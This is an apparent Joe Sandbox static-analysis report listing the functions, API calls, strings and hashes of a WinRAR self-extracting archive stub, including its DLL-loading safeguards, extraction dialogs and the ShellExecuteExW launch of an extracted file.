String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-2238251102
Opcode ID: 66a5a0884866cdb1eb81c59fb33a471bd9cea567cb0154f973ec06b362e54e7d
Instruction ID: fb4395f135fafe31711fe0eb76ef56382478e1447b027a98b5f2ac56763d92b9
Opcode Fuzzy Hash: 66a5a0884866cdb1eb81c59fb33a471bd9cea567cb0154f973ec06b362e54e7d
Instruction Fuzzy Hash: 3B42D5719442C8BAEB21AB719C4AFBF7BFCEB02700F0440E5F645A61D2DB749A45CB61

Function 00BE0863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00BE087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00BE088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00BE08BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BE0B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE0B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BE0B93
ReadFile.KERNEL32(00000000,?,00007FFE,00C03C7C,00000000), ref: 00BE0BB1
CloseHandle.KERNEL32(00000000), ref: 00BE0C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BE0C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00C03C7C,?,00000000,?,00000800), ref: 00BE0C72
GetFileAttributesW.KERNELBASE(?,?,00C03C7C,00000800,?,00000000,?,00000800), ref: 00BE0C9C
GetFileAttributesW.KERNEL32(?,?,00C03D44,00000800), ref: 00BE0CD8

Part of subcall function 00BE081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BE0836
Part of subcall function 00BE081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BDF2D8,Crypt32.dll,00000000,00BDF35C,?,?,00BDF33E,?,?,?), ref: 00BE0858

_swprintf.LIBCMT ref: 00BE0D4A
_swprintf.LIBCMT ref: 00BE0D96

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

AllocConsole.KERNEL32 ref: 00BE0D9E
GetCurrentProcessId.KERNEL32 ref: 00BE0DA8
AttachConsole.KERNEL32(00000000), ref: 00BE0DAF
_wcslen.LIBCMT ref: 00BE0DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00BE0DD5
WriteConsoleW.KERNEL32(00000000), ref: 00BE0DDC
Sleep.KERNEL32(00002710), ref: 00BE0DE7
FreeConsole.KERNEL32 ref: 00BE0DED
ExitProcess.KERNEL32 ref: 00BE0DF5

Strings

dwmapi.dll, xrefs: 00BE0927, 00BE0D0D
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00BE0D84
uxtheme.dll, xrefs: 00BE0D17
SetDefaultDllDirectories, xrefs: 00BE08B9
DXGIDebug.dll, xrefs: 00BE08FC, 00BE0C5E
kernel32, xrefs: 00BE0873
SetDllDirectoryW, xrefs: 00BE0888

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 254a737fc9b5953544806bd5d5b69d44b5fefe4f006df757c3478b00316b5e03
Instruction ID: 1d5f78f2747c2e387c1179b0a75dff905fc23683cb8226a9b5ad775a0dee9664
Opcode Fuzzy Hash: 254a737fc9b5953544806bd5d5b69d44b5fefe4f006df757c3478b00316b5e03
Instruction Fuzzy Hash: 92D172F10183C5ABDB20AF51C849B9FBBECFF85708F51495DF28596290DBB08649CB62

Function 00BEC73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00BEC744

Part of subcall function 00BEB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00BEB3FB

_wcslen.LIBCMT ref: 00BECA0A
_wcslen.LIBCMT ref: 00BECA13
SetWindowTextW.USER32(?,?), ref: 00BECA71
_wcslen.LIBCMT ref: 00BECAB3
_wcsrchr.LIBVCRUNTIME ref: 00BECBFB
GetDlgItem.USER32(?,00000066), ref: 00BECC36
SetWindowTextW.USER32(00000000,?), ref: 00BECC46
SendMessageW.USER32(00000000,00000143,00000000,00C1A472), ref: 00BECC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BECC7F

Strings

<br>, xrefs: 00BEC9D4
ProgramFilesDir, xrefs: 00BECB45
%s.%d.tmp, xrefs: 00BEC940
Software\Microsoft\Windows\CurrentVersion, xrefs: 00BECB1A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: 2a929715a9bb2fd2fa40b90e072a4ccaebc39a8947deedca713dc76d06963b0f
Instruction ID: ebd33379e16556758be2bc9d2da865a63cef0e688158b60b60f6514b919fb976
Opcode Fuzzy Hash: 2a929715a9bb2fd2fa40b90e072a4ccaebc39a8947deedca713dc76d06963b0f
Instruction Fuzzy Hash: 53E14172900298AADB25EBA5DD85EEE77FCEF04350F1040E6F609E7150EB749E858B60

Function 00BDDA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BDDA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00BDDAAC

Part of subcall function 00BDC29A: _wcslen.LIBCMT ref: 00BDC2A2

Part of subcall function 00BE05DA: _wcslen.LIBCMT ref: 00BE05E0

Part of subcall function 00BE1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00BDBAE9,00000000,?,?,?,0001043E), ref: 00BE1BA0

_wcslen.LIBCMT ref: 00BDDDE9
__fprintf_l.LIBCMT ref: 00BDDF1C

Strings

*messages***, xrefs: 00BDDBFA
a, xrefs: 00BDDC16
R, xrefs: 00BDDC0C
*messages***, xrefs: 00BDDBC1
, xrefs: 00BDDD6C
$%s:, xrefs: 00BDDEFF
@%s:, xrefs: 00BDDF06, 00BDDF12
,, xrefs: 00BDDF57
RTL, xrefs: 00BDDEDE

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 766c302f7d7d2b740a2fd0aad65d44c4adf0a00c623608e230cb21d9775ece0a
Instruction ID: 17cfb066a2e777f623bf92b449d390818e1a54b3e22eaebe60b5e47440779c59
Opcode Fuzzy Hash: 766c302f7d7d2b740a2fd0aad65d44c4adf0a00c623608e230cb21d9775ece0a
Instruction Fuzzy Hash: DB32C171A00219ABCF24EF68C842BE9B7E5EF14700F4045ABFA55AB391F7B1D985CB50

Function 00BED4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BEB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BEB579
Part of subcall function 00BEB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEB58A
Part of subcall function 00BEB568: IsDialogMessageW.USER32(0001043E,?), ref: 00BEB59E
Part of subcall function 00BEB568: TranslateMessage.USER32(?), ref: 00BEB5AC
Part of subcall function 00BEB568: DispatchMessageW.USER32(?), ref: 00BEB5B6

GetDlgItem.USER32(00000068,00C2FCB8), ref: 00BED4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00BEAF07,00000001,?,?,00BEB7B9,00C0506C,00C2FCB8,00C2FCB8,00001000,00000000,00000000), ref: 00BED510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00BED51B
SendMessageW.USER32(00000000,000000C2,00000000,00C035F4), ref: 00BED529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BED53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00BED559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BED59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00BED5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00BED5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00BED5E1
SendMessageW.USER32(00000000,000000C2,00000000,00C043F4), ref: 00BED5F0

Strings

\, xrefs: 00BED549

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 66aad861f1057fe306fc8649c371e2d041f461c549f2b991ef2082038a4ca7f4
Instruction ID: 4db6b7eb70e2ff2230cb6ca0b94ef4b34d276482d03387f6ab9d44dc29100f65
Opcode Fuzzy Hash: 66aad861f1057fe306fc8649c371e2d041f461c549f2b991ef2082038a4ca7f4
Instruction Fuzzy Hash: 8C31BF71245382AFE301DF20DC4AFAF7FACEB96704F000518FA51961E0DB659A09CBB6

Function 00BED78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00BED7AE
ShellExecuteExW.SHELL32(?), ref: 00BED8DE
ShowWindow.USER32(?,00000000), ref: 00BED91D
GetExitCodeProcess.KERNEL32(?,?), ref: 00BED959
CloseHandle.KERNEL32(?), ref: 00BED97F
ShowWindow.USER32(?,00000001), ref: 00BED9E1

Strings

.inf, xrefs: 00BED89A
.exe, xrefs: 00BED989

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 033c758703715c78b054fb8c33d6f28f6136ac189c1ab62f9519af73a4c98d58
Instruction ID: 067606b1dfc72e9f85e6300e8dcc4b0dc6bbadf3a28d94c20395484ba8cec279
Opcode Fuzzy Hash: 033c758703715c78b054fb8c33d6f28f6136ac189c1ab62f9519af73a4c98d58
Instruction Fuzzy Hash: E451C1751043C09AEB309F269C44BAFBBE4EF42744F04089EF9C5971A2E7F58985CB52

Function 00BFA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00BF5695,00BF5695,?,?,?,00BFABAC,00000001,00000001,2DE85006), ref: 00BFA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00BFABAC,00000001,00000001,2DE85006,?,?,?), ref: 00BFAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00BFAB35
__freea.LIBCMT ref: 00BFAB42

Part of subcall function 00BF8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BFCA2C,00000000,?,00BF6CBE,?,00000008,?,00BF91E0,?,?,?), ref: 00BF8E38

__freea.LIBCMT ref: 00BFAB4B
__freea.LIBCMT ref: 00BFAB70

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 9e2889a6cc29d82f5a73ae8bfd423b1e14a79b4ca2726cf6116b86baee658040
Instruction ID: 189ba67208b8e37cc4bf5221b78c7aae69d8c165a0ac12a44dbb0d5aeca68753
Opcode Fuzzy Hash: 9e2889a6cc29d82f5a73ae8bfd423b1e14a79b4ca2726cf6116b86baee658040
Instruction Fuzzy Hash: FE51B4B261021AAFDB298F64CC81EBFB7EAEB44750F1546A9FE08D7141DB34DC48C691

Function 00BF3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00BF3C35,?,?,00C32088,00000000,?,00BF3D60,00000004,InitializeCriticalSectionEx,00C06394,InitializeCriticalSectionEx,00000000), ref: 00BF3C03

Strings

api-ms-, xrefs: 00BF3BC3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: f16918a4ee016a0d492bc89d4706fa0731adf93868a497e9e0f7d99ac1256247
Instruction ID: a05f80f08a7941d8e139bbc5bfa8d1c5cafaf2d4a5c85145b95c1781b8ce9fc3
Opcode Fuzzy Hash: f16918a4ee016a0d492bc89d4706fa0731adf93868a497e9e0f7d99ac1256247
Instruction Fuzzy Hash: 0611CA31A45629ABCB218B689C51B6D37E4DF01B70F250190FA15FB291D771EF48C6D1

Function 00BEAC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BE081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BE0836
Part of subcall function 00BE081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BDF2D8,Crypt32.dll,00000000,00BDF35C,?,?,00BDF33E,?,?,?), ref: 00BE0858

OleInitialize.OLE32(00000000), ref: 00BEAC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00BEAC66
SHGetMalloc.SHELL32(00C18438), ref: 00BEAC70

Strings

riched20.dll, xrefs: 00BEAC1E
3Ro, xrefs: 00BEAC47

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: deee41c6bc965bf9b6bc7309b7106a06a0b5e5fffe14385aca050a7bd5850ab8
Instruction ID: 330f14e51aa96b9563c57b740a86f79b9cee6fbfeb6e796dfcc42ec4475509ca
Opcode Fuzzy Hash: deee41c6bc965bf9b6bc7309b7106a06a0b5e5fffe14385aca050a7bd5850ab8
Instruction Fuzzy Hash: 13F036B1D00249ABCB10AFA9D949ADFFFFCEF84700F004156E555E2251DBB45645CFA1

Function 00BD98E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00BD7760,?,00000005,?,00000011), ref: 00BD995F
GetLastError.KERNEL32(?,?,00BD7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BD996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00BD7760,?,00000005,?), ref: 00BD99A2
GetLastError.KERNEL32(?,?,00BD7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BD99AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00BD7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BD99F9

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 8f79f0c46fae011e5170a5dd0c0a017d770449af48806226c8bb90799d7ed214
Instruction ID: 44c5a5975cdebf4775225905c1f973708328c0757e2585ea16a71f6329b4a30b
Opcode Fuzzy Hash: 8f79f0c46fae011e5170a5dd0c0a017d770449af48806226c8bb90799d7ed214
Instruction Fuzzy Hash: 8B3126305457856FE7309F24CC45BDAFBD8FB04324F100B5AF5A5962D0E3B89944CB95

Function 00BEB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BEB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEB58A
IsDialogMessageW.USER32(0001043E,?), ref: 00BEB59E
TranslateMessage.USER32(?), ref: 00BEB5AC
DispatchMessageW.USER32(?), ref: 00BEB5B6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 497055cb07f4a98f5a6e565de23bf35e8d77846ba6ac55e84a487ca32c0635b8
Instruction ID: 30e207d2f45f394a7218af2d26141e6ba52da48468f9b2a84954fe5646d2068c
Opcode Fuzzy Hash: 497055cb07f4a98f5a6e565de23bf35e8d77846ba6ac55e84a487ca32c0635b8
Instruction Fuzzy Hash: 40F0BD71A1119AAB8B249BE69C4CFDF7FECEE053917004415B915D2050EB34D605CBB0

Function 00BEABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00BEABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00BEABF9

Part of subcall function 00BE1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BDC116,00000000,.exe,?,?,00000800,?,?,?,00BE8E3C), ref: 00BE1FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00BEABE9

Strings

EDIT, xrefs: 00BEABCD, 00BEABD8, 00BEABE5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 12d78106d343dc2b10d80f39238cf1fe65fbd6c25aed3bf536a0c80790213537
Instruction ID: 5eeecdab786c916c5123317c2fc7bcfc00880b4dbb0c3b6d6e7ae5198f2146fc
Opcode Fuzzy Hash: 12d78106d343dc2b10d80f39238cf1fe65fbd6c25aed3bf536a0c80790213537
Instruction Fuzzy Hash: 17F0827660066876DB2056259C09F9F76AC9B46B41F484051BA05A21C0D760EA41C5F6

Function 00BEDBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00BEDBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BEDC30

Strings

sfxpar, xrefs: 00BEDC2B
sfxcmd, xrefs: 00BEDBEF

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 1b4ff2ef81e465a3af917905cb9c717dc60396f829a10d8a182f4361e3865232
Instruction ID: e29553c8908fa43f1bea754bf75f544c92e264610dd35bc0a15f6930fa3281df
Opcode Fuzzy Hash: 1b4ff2ef81e465a3af917905cb9c717dc60396f829a10d8a182f4361e3865232
Instruction Fuzzy Hash: 31F0EC72504264A7CF202F968C06BFF37ECEF087C1B140491BD8595291D7F08980DAB0

Function 00BD9785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

